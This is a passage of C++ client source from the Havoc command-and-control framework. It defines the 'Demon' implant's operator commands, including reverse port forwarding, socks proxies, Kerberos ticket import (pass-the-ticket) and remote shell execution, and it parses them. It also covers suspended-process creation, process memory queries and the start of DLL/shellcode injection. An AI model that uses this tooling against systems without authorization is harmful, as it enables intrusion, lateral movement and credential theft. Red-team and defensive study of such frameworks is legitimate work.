.CommandString = "disconnect", .Description = "disconnect from a pivoting agent", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[Agent ID]", .Example = R"(64656d6e)", }, }, }, { .CommandString = "rportfwd", .Description = "reverse port forwarding", .Usage = "[sub command] (args)", .Example = "add 0.0.0.0 8080 192.157.0.1 4444", .Module = true, .SubCommands = { { .CommandString = "add", .Description = "add an reverse port forward", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[bind host] [bind port] [forward host] [forward port]", .Example = "0.0.0.0 8080 192.157.0.1 4444", }, { .CommandString = "list", .Description = "list all reverse port forwards", .Behavior = BEHAVIOR_API_ONLY, }, { .CommandString = "remove", .Description = "close and remove a reverse port forward", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[Socket ID]", .Example = R"(b4bbb42)", }, { .CommandString = "clear", .Description = "close and clear all reverse port forwards", .Behavior = BEHAVIOR_API_ONLY, }, }, }, { .CommandString = "socks", .Description = "socks5 proxy", .Usage = "[sub command] (args)", .Example = "add 4444", .Module = true, .SubCommands = { { .CommandString = "add", .Description = "add a socks5 proxy", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[bind port]", .Example = "4444", }, { .CommandString = "list", .Description = "list all socks5 proxy servers", .Behavior = BEHAVIOR_API_ONLY, }, { .CommandString = "kill", .Description = "kill and remove a socks5 proxy server", .Behavior = BEHAVIOR_API_ONLY, .Usage = "[bind port]", .Example = R"(4444)", }, { .CommandString = "clear", .Description = "kill and clear all socks5 proxy servers", .Behavior = BEHAVIOR_API_ONLY, }, }, }, { .CommandString = "luid", .Description = "get current logon ID", .Usage = "", .Example = "", NO_SUBCOMMANDS }, { .CommandString = "klist", .Description = "list Kerberos tickets", .Usage = "[/luid 0x123| /all]", .Example = "/all", NO_SUBCOMMANDS }, { .CommandString = "purge", .Description = "purge a Kerberos ticket", .Usage = "/luid <0x123>", .Example = "/luid 0x123", NO_SUBCOMMANDS }, { .CommandString = "ptt", .Description = "import Kerberos ticket into a logon session", .Usage = " [/luid <0x0>]", .Example = "doIFqjCCBaagAwIB...", NO_SUBCOMMANDS }, }; havoc-0.6~git20240910.69ce17c/client/src/Havoc/Demon/ConsoleInput.cc000066400000000000000000003524661467014221700244070ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include using namespace HavocNamespace::HavocSpace; using namespace Util; template auto string_format( const std::string& format, Args ... args ) -> std::string { int size_s = std::snprintf( nullptr, 0, format.c_str(), args ... ) + 1; // Extra space for '\0' if( size_s <= 0 ){ throw std::runtime_error( "Error during formatting." ); } auto size = static_cast( size_s ); std::unique_ptr buf( new char[ size ] ); std::snprintf( buf.get(), size, format.c_str(), args ... ); return std::string( buf.get(), buf.get() + size - 1 ); // We don't want the '\0' inside } static bool is_number( const std::string& s ) { std::string::const_iterator it = s.begin(); while ( it != s.end() && std::isdigit( *it ) ) ++it; return !s.empty() && it == s.end(); } auto operator * ( string a, unsigned int b ) -> string { auto output = string( "" ); while ( b-- ) output += a; return output; } static auto JoinAtIndex( QStringList list, int index ) -> QString { QString string; int size = list.size(); for ( int i = 0; i < ( size - index ); i++ ) { if ( i == 0 ) string.append( list[ index + i ] ); else string.append( " " + list[ index + i ] ); } return string; } auto ParseQuotes( QString commandline ) -> QStringList { auto iss = std::istringstream( commandline.toStdString() ); auto s = std::string(); auto InputCommands = QStringList(); while ( iss >> std::quoted( s ) ) InputCommands << QString(s.c_str()); return InputCommands; } // parse double quotes and backslashes auto ParseCommandLine( QString commandline ) -> QStringList { auto cmdline = commandline.toStdString(); auto InputCommands = QStringList(); auto in_quotes = false; char c; char next_c; char next_next_c; std::string parsed; for( size_t i = 0; i < cmdline.length(); i++) { c = cmdline[ i ]; if ( i + 1 < cmdline.length() ) next_c = cmdline[ i + 1 ]; else next_c = 0; if ( i + 2 < cmdline.length() ) next_next_c = cmdline[ i + 2 ]; else next_next_c = 0; if ( c == '"' && ! in_quotes ) { // we are entering a quoted string in_quotes = true; } else if ( c == '"' && in_quotes ) { in_quotes = false; if ( next_c != ' ' ) { // we got out of quotes and the next char is not a space, break word InputCommands << QString(parsed.c_str()); parsed = ""; } } // handle a backslash else if ( c == '\\' ) { if ( next_c == '\\' ) { /* * double backslask is a special scenario: * we want to allow: \\dc01\c$\windows, instead of: \\\\dc01\c$\windows * but also, we want to be able to escape backslashes * if they are followed by a space or double quote * meaning: * double backslash followed by a space or double quote = escaped backslash * double backslash followed by any other character = double backslash */ if ( next_next_c == ' ' || next_next_c == '"' ) { // we are in these scenarios: // "foo 1\\" bar -> arg1: 'foo 1\' arg2: 'bar' // foo\\ bar -> arg1: 'foo\' arg2: 'bar' parsed += '\\'; i++; } else { // we are in this scenario: // \\dc01\c$\windows -> \\dc01\c$\windows parsed += '\\'; } } // if the next char is a space, enter it else if ( next_c == ' ' ) { parsed += ' '; i++; } // if the next char is a double quote, enter it else if ( next_c == '"' ) { parsed += '"'; i++; } else { // if the next char some other value, enter a backslash parsed += '\\'; } } else if ( c == ' ' && ! in_quotes ) { // we have a space while not in quotes, break word InputCommands << QString(parsed.c_str()); parsed = ""; } else { // If we encounter any other character, add it to the parsed string parsed += c; } } // add the end of the last string if ( parsed.size() > 0 ) { InputCommands << QString(parsed.c_str()); parsed = ""; } return InputCommands; } bool compareQString(const QString &a, const QString &b) { return a.toLower() < b.toLower(); } DemonCommands::DemonCommands( ) { Execute.DemonCommandInstance = this; } auto DemonCommands::SetDemonConsole( UserInterface::Widgets::DemonInteracted* pInteracted ) -> void { this->DemonConsole = pInteracted; } auto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& commandline ) -> bool { auto InputCommands = ParseCommandLine(commandline); auto IsDemonAgent = false; auto AgentData = ServiceAgent(); // check if it's a generic demon or 3rd party agent if ( MagicValue == DemonMagicValue ) { IsDemonAgent = true; } else { for ( auto& agent : HavocX::Teamserver.ServiceAgents ) { if ( MagicValue == agent.MagicValue ) { AgentData = agent; AgentTypeName = agent.Name; } } } if ( IsDemonAgent ) { if ( InputCommands[ 0 ].compare( "help" ) == 0 ) { if ( InputCommands.size() > 1 && InputCommands[ 1 ] != "" ) { bool FoundCommand = false; for ( auto & commandIndex : DemonCommandList ) { if ( InputCommands[ 1 ].compare( commandIndex.CommandString ) == 0 ) { FoundCommand = true; if ( ( ! commandIndex.SubCommands.empty() || commandIndex.Module ) && InputCommands.size() > 2 && InputCommands[ 2 ] != "" ) { bool FoundSubCommand = false; for ( auto & SubCommand : commandIndex.SubCommands ) { auto SubCommandString = SubCommand.CommandString; if ( InputCommands[ 2 ].compare( SubCommandString ) == 0 ) { FoundSubCommand = true; DemonConsole->Console->append( "" ); DemonConsole->Console->append( " - Module : " + commandIndex.CommandString ); DemonConsole->Console->append( " - Sub Command : " + SubCommand.CommandString ); DemonConsole->Console->append( " - Description : " + SubCommand.Description ); if ( ! SubCommand.Behavior.isEmpty() ) DemonConsole->Console->append( " - Behavior : " + SubCommand.Behavior ); if ( ! SubCommand.Usage.isEmpty() ) DemonConsole->Console->append( " - Usage : " + commandIndex.CommandString + " "+ SubCommand.CommandString + " " + SubCommand.Usage ); if ( ! SubCommand.Example.isEmpty() ) DemonConsole->Console->append( " - Example : " + commandIndex.CommandString + " "+ SubCommand.CommandString + " " + SubCommand.Example ); /* if ( ! SubCommand.Usage.isEmpty() ) DemonConsole->Console->append( " - Required Args : " + QString( to_string( SubCommand.Usage.split( " " ).size() ).c_str() ) );*/ if ( ! SubCommand.Options.isEmpty() ) { DemonConsole->Console->append( " - Options : " ); for ( auto& Option : SubCommand.Options ) DemonConsole->Console->append( " " + Option); } break; } } if ( ! FoundSubCommand ) { for ( auto& Command : HavocX::Teamserver.RegisteredCommands ) { if ( InputCommands[ 1 ].compare( Command.Module.c_str() ) == 0 ) { if ( InputCommands[ 2 ].compare( Command.Command.c_str() ) == 0 ) { FoundSubCommand = true; DemonConsole->Console->append( "" ); DemonConsole->Console->append( " - Module : " + QString( Command.Module.c_str() ) ); DemonConsole->Console->append( " - Sub Command : " + QString( Command.Command.c_str() ) ); DemonConsole->Console->append( " - Description : " + QString( Command.Help.c_str() ) ); // if ( Command.Behavior != 0 ) // DemonConsole->Console->append( " - Behavior : " + SubCommand.Behavior ); if ( Command.Usage.c_str() ) DemonConsole->Console->append( " - Usage : " + QString( Command.Module.c_str() ) + " " + QString( Command.Command.c_str() ) + " " + QString( Command.Usage.c_str() ) ); if ( Command.Example.c_str() ) DemonConsole->Console->append( " - Example : " + QString( Command.Module.c_str() ) + " " + QString( Command.Command.c_str() ) + " " + QString( Command.Example.c_str() ) ); /*if ( ! QString( Command.Usage.c_str() ).isEmpty() ) DemonConsole->Console->append( " - Required Args : " + QString( to_string( SubCommand.Usage.split( " " ).size() ).c_str() ) );*/ } } } if ( ! FoundSubCommand ) { DemonConsole->Console->append( Util::ColorText::Red( "[-]" ) + " Couldn't find sub command in \"" + InputCommands[ 1 ] + "\": " + InputCommands[ 2 ] ); } } } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( " - Command : " + commandIndex.CommandString ); DemonConsole->Console->append( " - Description : " + commandIndex.Description ); if ( ! commandIndex.Behavior.isEmpty() ) DemonConsole->Console->append( " - Behavior : " + commandIndex.Behavior ); if ( ! commandIndex.Usage.isEmpty() ) DemonConsole->Console->append( " - Usage : " + commandIndex.CommandString + " " + commandIndex.Usage ); if ( ! commandIndex.Example.isEmpty() ) DemonConsole->Console->append( " - Example : " + commandIndex.CommandString + " " + commandIndex.Example ); if ( ! commandIndex.Usage.isEmpty() && commandIndex.SubCommands.empty() ) DemonConsole->Console->append(" - Required Args : " + QString(to_string(commandIndex.Usage.split(" ").size()).c_str())); if ( ! commandIndex.SubCommands.empty() || commandIndex.Module ) { DemonConsole->Console->append( "" ); DemonConsole->Console->append( " Command Description " ); DemonConsole->Console->append( " --------- ------------- " ); /*if ( commandIndex.SubCommands.empty() ) { DemonConsole->TaskError( "No subcommand registered for " + commandIndex.CommandString ); return false; }*/ for ( auto & SubCommand : commandIndex.SubCommands ) { if ( SubCommand.CommandString != nullptr ) { int TotalSize = 31; int CmdSize = SubCommand.CommandString.size(); if ( CmdSize > 31 ) CmdSize = 31; std::string Spaces = std::string( ( TotalSize - CmdSize ), ' ' ); DemonConsole->Console->append( " " + SubCommand.CommandString + QString( Spaces.c_str() ) + SubCommand.Description ); } } for ( auto& Command : HavocX::Teamserver.RegisteredCommands ) { if ( InputCommands[ 1 ].compare( Command.Module.c_str() ) == 0 ) { int TotalSize = 19; std::string Spaces = std::string( ( TotalSize - Command.Command.size() ), ' ' ); DemonConsole->Console->append( " " + QString( Command.Command.c_str() ) + QString( Spaces.c_str() ) + " " + QString( Command.Help.c_str() ) ); } } } } break; } } if ( ! FoundCommand ) { spdlog::debug( "check registered modules" ); // Alright first check if we registered a module for ( auto& Module : HavocX::Teamserver.RegisteredModules ) { spdlog::debug( " - {}", Module.Name ); if ( InputCommands[ 1 ].compare( Module.Name.c_str() ) == 0 ) { FoundCommand = true; if ( InputCommands.size() > 2 ) { for ( auto& Command : HavocX::Teamserver.RegisteredCommands ) { if ( InputCommands[ 1 ].compare( Command.Module.c_str() ) == 0 && InputCommands[ 2 ].compare( Command.Command.c_str() ) == 0 ) { DemonConsole->Console->append( "" ); DemonConsole->Console->append( " - Command : " + QString( Module.Name.c_str() ) + QString( " " ) + QString( Command.Command.c_str() ) ); DemonConsole->Console->append( " - Description : " + QString( Command.Help.c_str() ) ); if ( ! Module.Usage.empty() ) DemonConsole->Console->append( " - Usage : " + QString( Module.Name.c_str() ) + QString( " " ) + QString( Command.Command.c_str() ) + " " + QString( Command.Usage.c_str() ) ); if ( ! Command.Example.empty() ) DemonConsole->Console->append( " - Example : " + QString( Module.Name.c_str() ) + QString( " " ) + QString( Command.Command.c_str() ) + " " + QString( Command.Example.c_str() ) ); if ( ! Command.Usage.empty() ) DemonConsole->Console->append(" - Required Args : " + QString( to_string( QString( Command.Usage.c_str() ).split(" ").size() ).c_str() ) ); break; } } } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( " - Command : " + QString( Module.Name.c_str() ) ); DemonConsole->Console->append( " - Description : " + QString( Module.Description.c_str() ) ); if ( ! Module.Behavior.empty() ) DemonConsole->Console->append( " - Behavior : " + QString( Module.Behavior.c_str() ) ); if ( ! Module.Usage.empty() ) DemonConsole->Console->append( " - Usage : " + QString( Module.Name.c_str() ) + " " + QString( Module.Usage.c_str() ) ); if ( ! Module.Example.empty() ) DemonConsole->Console->append( " - Example : " + QString( Module.Name.c_str() ) + " " + QString( Module.Example.c_str() ) ); if ( ! Module.Usage.empty() ) DemonConsole->Console->append(" - Required Args : " + QString( to_string( QString( Module.Usage.c_str() ).split(" ").size() ).c_str() ) ); DemonConsole->Console->append( "" ); DemonConsole->Console->append( " Command Description " ); DemonConsole->Console->append( " --------- ------------- " ); for ( auto& Command : HavocX::Teamserver.RegisteredCommands ) { if ( InputCommands[ 1 ].compare( Command.Module.c_str() ) == 0 ) { int TotalSize = 19; std::string Spaces = std::string( ( TotalSize - Command.Command.size() ), ' ' ); DemonConsole->Console->append( " " + QString( Command.Command.c_str() ) + QString( Spaces.c_str() ) + " " + QString( Command.Help.c_str() ) ); } } } } } // Alright... we still can't find what we are searching for so lets search for registered commands... if ( ! FoundCommand ) { for ( auto& Command : HavocX::Teamserver.RegisteredCommands ) { if ( InputCommands[ 1 ].compare( Command.Command.c_str() ) == 0 && Command.Module.length() == 0 ) { FoundCommand = true; DemonConsole->Console->append( "" ); DemonConsole->Console->append( " - Command : " + QString( Command.Command.c_str() ) ); DemonConsole->Console->append( " - Description : " + QString( Command.Help.c_str() ) ); if ( Command.Usage.c_str() ) DemonConsole->Console->append( " - Usage : " + QString( Command.Module.c_str() ) + " " + QString( Command.Command.c_str() ) + " " + QString( Command.Usage.c_str() ) ); if ( Command.Example.c_str() ) DemonConsole->Console->append( " - Example : " + QString( Command.Module.c_str() ) + " " + QString( Command.Command.c_str() ) + " " + QString( Command.Example.c_str() ) ); } } } // Ok we have no clue what you mean lol. if ( ! FoundCommand ) DemonConsole->Console->append( Util::ColorText::Red( "[-]" ) + " Couldn't find command: " + InputCommands[ 1 ] ); } } else { int TotalSize = 25; std::vector commandOutput; for (auto &i : DemonCommandList) { QString currentLine; if (!i.SubCommands.empty() || i.Module) { if (i.Module) { currentLine = " " + i.CommandString + QString(std::string((TotalSize - i.CommandString.size()), ' ').c_str()) + "Module " + " " + i.Description; } else if (i.SubCommands.empty()) { if (i.SubCommands[0].CommandString != nullptr) { currentLine = " " + i.CommandString + QString(std::string((TotalSize - i.CommandString.size()), ' ').c_str()) + "Module " + " " + i.Description; } } else { currentLine = " " + i.CommandString + QString(std::string((TotalSize - i.CommandString.size()), ' ').c_str()) + "Command" + " " + i.Description; } } else { currentLine = " " + i.CommandString + QString(std::string((TotalSize - i.CommandString.size()), ' ').c_str()) + "Command" + " " + i.Description; } commandOutput.push_back(currentLine); } for (auto &Module : HavocX::Teamserver.RegisteredModules) { if (!Module.Name.empty()) { QString currentLine = " " + QString(Module.Name.c_str()) + QString(std::string((TotalSize - Module.Name.size()), ' ').c_str()) + "Module " + " " + QString(Module.Description.c_str()); commandOutput.push_back(currentLine); } } for (auto &Command : HavocX::Teamserver.RegisteredCommands) { if (Command.Module.empty()) { QString currentLine = " " + QString(Command.Command.c_str()) + QString(std::string((TotalSize - Command.Command.size()), ' ').c_str()) + "Command" + " " + QString(Command.Help.c_str()); commandOutput.push_back(currentLine); } } // Sort the commandOutput vector alphabetically std::sort(commandOutput.begin(), commandOutput.end(), compareQString); // Append the sorted commands to the console DemonConsole->Console->append(""); DemonConsole->Console->append("Demon Commands"); DemonConsole->Console->append("=============="); DemonConsole->Console->append(""); DemonConsole->Console->append(" Command Type Description"); DemonConsole->Console->append(" ------- ------- -----------"); for (const auto &output : commandOutput) { DemonConsole->Console->append(output); } } return true; } else if ( InputCommands[ 0 ].compare( "sleep" ) == 0 ) { if ( InputCommands.size() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } if ( InputCommands.size() > 3 ) { CONSOLE_ERROR( "Too many arguments" ); return false; } if ( InputCommands[ 1 ].at( 0 ) == '-' ) { CONSOLE_ERROR( "\"sleep\" doesn't support negative delays" ); return false; } auto jit = QString( "0" ); if ( InputCommands.size() == 3 ) { jit = InputCommands[ 2 ]; bool ok; double jitter = jit.toDouble(&ok); if ( ok == false ) { CONSOLE_ERROR( "Invalid jitter" ); return false; } if ( jitter < 0 ) { CONSOLE_ERROR( "\"sleep\" doesn't support negative jitters" ); return false; } if ( jitter > 100 ) { CONSOLE_ERROR( "The jitter can't be larger than 100" ); return false; } TaskID = CONSOLE_INFO( "Tasked demon to sleep for " + InputCommands[ 1 ] + " seconds with " + jit + "% jitter" ); } else { TaskID = CONSOLE_INFO( "Tasked demon to sleep for " + InputCommands[ 1 ] + " seconds" ); } CommandInputList[ TaskID ] = commandline; SEND( Execute.Sleep( TaskID, InputCommands[ 1 ] + ";" + jit ) ) } else if ( InputCommands[ 0 ].compare( "interactive" ) == 0 ) { if ( InputCommands.size() > 1 ) { CONSOLE_ERROR( "Too many arguments" ); return false; } TaskID = CONSOLE_INFO( "Tasked demon to enter interactive mode" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Sleep( TaskID, "0;0" ) ) } else if ( InputCommands[ 0 ].compare( "checkin" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon send back a checkin request" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Checkin( TaskID ) ) } else if ( InputCommands[ 0 ].compare( "task" ) == 0 ) { if ( InputCommands.size() == 1 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked teamserver to list commands in task queue" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Task( TaskID, "task::list" ) ); } else if ( InputCommands[ 1 ].compare( "clear" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked teamserver to clear all commands from task queue" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Task( TaskID, "task::clear" ) ); } else { CONSOLE_ERROR( "Sub command '" + InputCommands[ 1 ]+ "' in 'task' not found found" ) return false; } } else if ( InputCommands[ 0 ].compare( "job" ) == 0 ) { if ( InputCommands.size() == 1 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to list jobs" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Job( TaskID, "list", "0" ) ) } else if ( InputCommands[ 1 ].compare( "suspend" ) == 0 ) { if ( InputCommands.length() >= 3 ) { TaskID = CONSOLE_INFO( "Tasked demon to suspend job: " + InputCommands[ 2 ] ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Job( TaskID, "suspend", InputCommands[ 2 ] ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) } } else if ( InputCommands[ 1 ].compare( "resume" ) == 0 ) { if ( InputCommands.length() >= 3 ) { TaskID = CONSOLE_INFO( "Tasked demon to resume job: " + InputCommands[ 2 ] ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Job( TaskID, "resume", InputCommands[ 2 ] ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) } } else if ( InputCommands[ 1 ].compare( "kill" ) == 0 ) { if ( InputCommands.length() >= 3 ) { TaskID = CONSOLE_INFO( "Tasked demon to kill job: " + InputCommands[ 2 ] ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Job( TaskID, "kill", InputCommands[ 2 ] ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) } } else { CONSOLE_ERROR( "Sub command not found: " + InputCommands[ 1 ] ) } } else if ( InputCommands[ 0 ].compare( "dir" ) == 0 || InputCommands[ 0 ].compare( "ls" ) == 0 ) { auto Path = QString( "" ); auto SubDirs = "false"; auto FilesOnly = "false"; auto DirsOnly = "false"; auto ListOnly = "false"; auto Starts = QString( "" ); auto Contains = QString( "" ); auto Ends = QString( "" ); if ( InputCommands.size() == 1 ) { Path = "."; TaskID = CONSOLE_INFO( "Tasked demon to list current directory" ); } else { Path = InputCommands[ 1 ]; for ( int i = 2; i < InputCommands.size(); ++i ) { if ( InputCommands[ i ].compare( "/s" ) == 0 ) { SubDirs = "true"; } else if ( InputCommands[ i ].compare( "/f" ) == 0 ) { FilesOnly = "true"; } else if ( InputCommands[ i ].compare( "/d" ) == 0 ) { DirsOnly = "true"; } else if ( InputCommands[ i ].compare( "/b" ) == 0 ) { ListOnly = "true"; } else if ( InputCommands[ i ].compare( "/starts" ) == 0 ) { if ( i + 1 == InputCommands.size() ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } Starts = InputCommands[ i + 1 ]; i++; } else if ( InputCommands[ i ].compare( "/contains" ) == 0 ) { if ( i + 1 == InputCommands.size() ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } Contains = InputCommands[ i + 1 ]; i++; } else if ( InputCommands[ i ].compare( "/ends" ) == 0 ) { if ( i + 1 == InputCommands.size() ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } Ends = InputCommands[ i + 1 ]; i++; } else { CONSOLE_ERROR( "Unknown parameter " + InputCommands[ i ] ); return false; } } if ( FilesOnly == "true" && DirsOnly == "true" ) { CONSOLE_ERROR( "Cannot set both /f and /d" ); return false; } TaskID = CONSOLE_INFO( "Tasked demon to list " + Path ); } CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "dir", Path + ";" + SubDirs + ";" + FilesOnly + ";" + DirsOnly + ";" + ListOnly + ";" + Starts + ";" + Contains + ";" + Ends ) ); } else if (InputCommands[0].compare( "cd" ) == 0) { if ( InputCommands.size() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } auto Path = JoinAtIndex( InputCommands, 1 ); TaskID = CONSOLE_INFO( "Tasked demon to change directory: " + Path ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "cd", Path ) ); } else if ( InputCommands[ 0 ].compare( "cp" ) == 0) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } auto PathFrom = InputCommands[ 1 ]; auto PathTo = JoinAtIndex( InputCommands, 2 ); TaskID = CONSOLE_INFO( "Tasked demon to copy file " + PathFrom + " to " + PathTo ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "cp", PathFrom.toLocal8Bit().toBase64() + ";" + PathTo.toLocal8Bit().toBase64() ) ); } else if ( InputCommands[ 0 ].compare( "mv" ) == 0 || InputCommands[ 0 ].compare( "move" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } auto PathFrom = InputCommands[ 1 ]; auto PathTo = JoinAtIndex( InputCommands, 2 ); TaskID = CONSOLE_INFO( "Tasked demon to move file " + PathFrom + " to " + PathTo ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "mv", PathFrom.toLocal8Bit().toBase64() + ";" + PathTo.toLocal8Bit().toBase64() ) ); } else if ( InputCommands[ 0 ].compare( "remove" ) == 0 ) { if ( InputCommands.size() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } auto Path = JoinAtIndex( InputCommands, 1 ); TaskID = CONSOLE_INFO( "Tasked demon to remove file or directory: " + Path ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "remove", Path ) ); } else if (InputCommands[0].compare( "mkdir" ) == 0) { auto Path = JoinAtIndex( InputCommands, 1 ); TaskID = CONSOLE_INFO( "Tasked demon to create new directory: " + Path ); if ( InputCommands.size() < 1 ) { CONSOLE_ERROR( "Not enough arguments" ); return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "mkdir", Path ) ); } else if ( InputCommands[0].compare( "pwd" ) == 0) { TaskID = CONSOLE_INFO( "Tasked demon to get current working directory" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.FS( TaskID, "pwd", "" ) ); } else if ( InputCommands[ 0 ].compare( "shell" ) == 0 ) { if ( InputCommands.length() > 1 ) { auto Program = QString("c:\\windows\\system32\\cmd.exe"); // NOTE: the 'shell' command does not need to escape quotes auto Args = QString( "/c " + JoinAtIndex( commandline.split( " " ), 1 ) ).toUtf8().toBase64(); TaskID = CONSOLE_INFO( "Tasked demon to execute a shell command" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.ProcModule( TaskID, 4, "0;FALSE;TRUE;" + Program + ";" + Args ) ) } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( Prompt ); DemonConsole->TaskError( "Not enough arguments" ); } } else if ( InputCommands[ 0 ].compare( "proc" ) == 0 ) { if ( InputCommands.size() == 1 ) { DemonConsole->Console->append( "" ); DemonConsole->Console->append( Prompt ); DemonConsole->TaskError( "Not enough arguments" ); return false; } if ( InputCommands[ 1 ].compare( "list" ) == 0 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to enumerate and list all processes" ); CommandInputList[ TaskID ] = commandline; if ( Send ) Execute.ProcList( TaskID, false ); } else if ( InputCommands[ 1 ].compare( "modules" ) == 0 ) { if ( InputCommands.length() >= 3 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to list all modules/dll of a remote process" ); CommandInputList[ TaskID ] = commandline; if ( Send ) Execute.ProcModule( TaskID, 2, InputCommands[ 2 ] ); } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( Prompt ); DemonConsole->TaskError( "Not enough arguments" ); } } else if ( InputCommands[ 1 ].compare( "grep" ) == 0 ) { if ( InputCommands.length() >= 3 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to grep information about the specified process" ); CommandInputList[TaskID] = commandline; if ( Send ) Execute.ProcModule( TaskID, 3, InputCommands[ 2 ] ); } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( Prompt ); DemonConsole->TaskError( "Not enough arguments" ); } } else if ( InputCommands[ 1 ].compare( "create" ) == 0 ) { if ( InputCommands.length() >= 4 ) { auto Index = 2; auto Flags = QString(); auto Program = QString(); auto Args = QString(); auto Verbose = QString(); auto Piped = QString(); if ( InputCommands[ Index ].compare( "normal" ) == 0 ) { Flags = "0"; } else if ( InputCommands[ Index ].compare( "suspended" ) == 0 ) { // CREATE_SUSPENDED = 0x00000004 Flags = "4"; } else { CONSOLE_ERROR( "Process creation flag not found: " + InputCommands[ Index ] ) return false; } Index++; Verbose = "TRUE"; if ( InputCommands[ Index ].compare( "--silent" ) == 0 ) { Verbose = "FALSE"; Index++; } Piped = "TRUE"; if ( InputCommands[ Index ].compare( "--no-pipe" ) == 0 ) { Piped = "FALSE"; Index++; } Program = InputCommands[ Index ]; Index++; Args = "\"" + Program + "\""; for (int i = Index; i < InputCommands.length(); ++i) { Args += " " + InputCommands[ i ]; } if ( Flags.compare( "4" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to spawn a process in suspended state: " + Program ); } else { TaskID = CONSOLE_INFO( "Tasked demon to spawn a process: " + Program ); } Args = Args.toUtf8().toBase64(); CommandInputList[ TaskID ] = commandline; SEND( Execute.ProcModule( TaskID, 4, Flags + ";" + Verbose + ";" + Piped + ";" + Program + ";" + Args ) ) } else { DemonConsole->Console->append( "" ); DemonConsole->Console->append( Prompt ); DemonConsole->TaskError( "Not enough arguments" ); } } else if ( InputCommands[ 1 ].compare( "blockdll" ) == 0 ) { if ( InputCommands.length() >= 3 ) { if ( InputCommands[ 2 ].compare( "on" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to enable blocking non microsoft signed dlls" ); } else if ( InputCommands[ 2 ].compare( "off" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to disable blocking non microsoft signed dlls" ); } else { CONSOLE_ERROR( "Argument not valid" ); return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.ProcModule( TaskID, 5, InputCommands[ 2 ] ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 1 ].compare( "kill" ) == 0 ) { if ( InputCommands.size() >= 3 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to kill a process" ); CommandInputList[ TaskID ] = commandline; if ( ! is_number( InputCommands[ 2 ].toStdString() ) ) { CONSOLE_ERROR( "Specified process id to kill is not a number." ) return false; } SEND( Execute.ProcModule( TaskID, 7, InputCommands[ 2 ] ) ) } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 1 ].compare( "memory" ) == 0 ) { if ( InputCommands.size() >= 4 ) { TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to query for" + InputCommands[ 3 ] + " memory regions from " + InputCommands[ 2 ] ); CommandInputList[ TaskID ] = commandline; if ( Send ) Execute.ProcModule( TaskID, 6, InputCommands[ 2 ] + " " + InputCommands[ 3 ] ); } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else { CONSOLE_ERROR( "Modules command not found: " + InputCommands[ 1 ] ); return false; } } else if ( InputCommands[ 0 ].compare( "ps" ) == 0 ) { if ( InputCommands.size() != 1 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } // same as 'proc list' TaskID = DemonConsole->TaskInfo( Send, nullptr, "Tasked demon to enumerate and list all processes" ); CommandInputList[ TaskID ] = commandline; if ( Send ) Execute.ProcList( TaskID, false ); } else if ( InputCommands[ 0 ].compare( "dll" ) == 0 ) { if ( InputCommands.size() == 1 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands[ 1 ].compare( "inject" ) == 0 ) { // dll inject [target pid] [/path/to/shellcode.x64.bin] if ( InputCommands.size() < 4 ) { 